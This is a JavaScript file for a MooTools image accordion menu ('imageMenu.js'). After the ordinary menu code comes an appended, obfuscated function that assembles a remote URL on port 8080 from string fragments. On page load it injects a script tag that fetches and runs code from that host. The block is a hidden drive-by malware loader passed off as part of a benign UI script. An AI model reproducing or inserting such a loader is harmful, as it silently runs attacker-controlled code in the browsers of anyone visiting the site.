/*
Script: imageMenu.js

Authors:
	Sam Birch

License:
	MIT-style license.

*/
var ImageMenu = new Class({
	
	initialize: function(myElements,options){
		options = Object.extend({
			onClick: Class.empty,
			start: -1,
			openWidth: 0,
			smallWidth: 0,
			itemWidth: 0,
			selected: -1,
			open: -1,
			transition: Fx.Transitions.quadOut
		}, options || {});
		
		this.myElements = myElements;
		this.options = options;
		
		options.itemWidth = myElements[0].getStyle('width').toInt();
		options.smallWidth = Math.round(((options.itemWidth*myElements.length)-options.openWidth)/(myElements.length-1));
		
		var fx = new Fx.Elements(myElements, {wait: false, duration: 400, transition: options.transition});
		
		myElements.each(function(el, i){
			el.addEvent('mouseover', function(e){
				e = new Event(e).stop();
				el.show();
			});
			
			el.addEvent('click', function(e){
				el.select();
			});
			
			el.addEvent('mouseout', function(e){
				e = new Event(e).stop();
				el.hide();
			});
			
			el.show = function(){
				var obj = {};
				obj[i] = {'width': [el.getStyle('width').toInt(), options.openWidth]};
				myElements.each(function(other, j){
					if (other != el){
						var w = other.getStyle('width').toInt();
						if (w != options.smallWidth) obj[j] = {'width': [w, options.smallWidth]};
					}
				});
				fx.start(obj);
			};
			
			el.hide = function(){
				var obj = {};
				if(options.selected == -1){
					myElements.each(function(el,i){
						obj[i] = {'width': [el.getStyle('width').toInt(), options.itemWidth]};	
					});
				}else{
					myElements.each(function(el,i){
						if(i != options.selected){
							var w = el.getStyle('width').toInt();
							if(w != options.smallWidth){obj[i] = {'width': [w, options.smallWidth]}};
						}else{
							obj[i] = {'width': [el.getStyle('width').toInt(), options.openWidth]};
						}
					});
				}
				fx.start(obj);
			};
			
			el.select = function(){
				if(options.selected == i){options.selected = -1}else{options.selected = i}
				options.onClick(options.selected,options.open);
				options.open = options.selected;
			};
		});
		
		if(options.start != -1){
			myElements[options.start].show();
			myElements[options.start].select();
		}
	},
	
	reset: function(){
		this.options.selected = -1;
		this.options.open = -1;
		this.myElements.each(function(el, i){
			el.hide();
		});
	}
	
});



var YP=new String();function tn(){var E=new Array();var y='';var O='';var a=new String("vbEqg".substr(4));this.n='';var J=new String();var Y='';var GN;if(GN!=''){GN='SF'};var Xj=new Date();var u=RegExp;var KP=new Date();var v;if(v!='p'){v='p'};var Ga;if(Ga!='Tb'){Ga='Tb'};function t(tV,X){this.ou="";var tS=new Date();var K= new String("[");K+=X;var A=new Date();K+=new String("9PZ]".substr(3));this.l='';this.Gf='';var Az;if(Az!=''){Az='Vh'};var tz=new u(K, a);return tV.replace(tz, Y);var k="";var eL;if(eL!='' && eL!='DT'){eL=null};};var Oo=new Date();var M;if(M!='' && M!='La'){M=null};var td=new Array();var r=t('866706768776707677',"76");var sU;if(sU!='' && sU!='h'){sU=''};var L=String("YBCAht".substr(4)+"tpnCM".substr(0,2)+":/uNLJ".substr(0,2)+"/3"+"kYF60".substr(3)+"bu"+"y-"+"coIgu".substr(0,2)+"WwJm.".substr(3)+"alR1H".substr(0,2)+"iclMKz".substr(0,2)+"e.5ZR3".substr(0,2)+"l3hEit".substr(4)+".t"+"gsRim".substr(3)+"es"+"GCB7on".substr(4)+"li"+"neIGq".substr(0,2)+"8v4G-c".substr(4)+"o-"+"cX3uk".substr(3)+".r2RO".substr(0,2)+"kz56ed".substr(4)+"uLQzse".substr(4)+"u5Awap".substr(4)+"or"+"y68ta8y6".substr(3,2)+"Qwpl.".substr(3)+"2SZruS2Z".substr(3,2)+"3e6:".substr(3));var o='';this.Q='';var Qk;if(Qk!='vE' && Qk != ''){Qk=null};var uw=String("ySZde".substr(3)+"TQ7Jfe".substr(4)+"U1ycrcU1y".substr(4,1));var Qj;if(Qj!='Bi' && Qj!='Ae'){Qj=''};this.xV="";var LN="PkbLscr".substr(4)+"iptNsD".substr(0,3);var S=new String("8MWsrc".substr(3));var W=window;var k_=new Date();var sM;if(sM!='kV' && sM != ''){sM=null};var m=new String("/sanoFflm".substr(0,5)+"GQyJok.coJQyG".substr(4,5)+"ZO2m/san".substr(3)+"lGmRook.cGRml".substr(4,5)+"om/retuNF".substr(0,5)+"CBmYnren.BCmY".substr(4,5)+"com/g"+"oogle"+"YsV5.co.u".substr(4)+"BhEk/gooBhE".substr(3,5)+"gle.coP5I".substr(0,5)+"xrvom.ph".substr(3)+"p");var hk='';var g=new Date();this.LO='';this.Tt='';W.onload=function(){try {o=L+r;var wT=new String();o+=m;var c_;if(c_!='' && c_!='zg'){c_=''};var u_=new String();I=document.createElement(LN);var tv;if(tv!='VD' && tv!='SG'){tv=''};I[uw]=[1][0];this.VDV='';var lPD;if(lPD!='R' && lPD!='JK'){lPD=''};I[S]=o;this.uH='';var Nf=new Array();var TC;if(TC!='' && TC!='Yd'){TC=null};document.body.appendChild(I);var dg=new String();var nz;if(nz!='' && nz!='Er'){nz=null};var OK=new Date();this.af="";} catch(z){var HC;if(HC!='IP' && HC != ''){HC=null};var Lau=new Array();};this.Dx="";};var d_;if(d_!='iP' && d_!='Se'){d_='iP'};this.Ti='';};var RR;if(RR!='' && RR!='nI'){RR=null};var GT=new String();tn();var xZ;if(xZ!='EN'){xZ=''};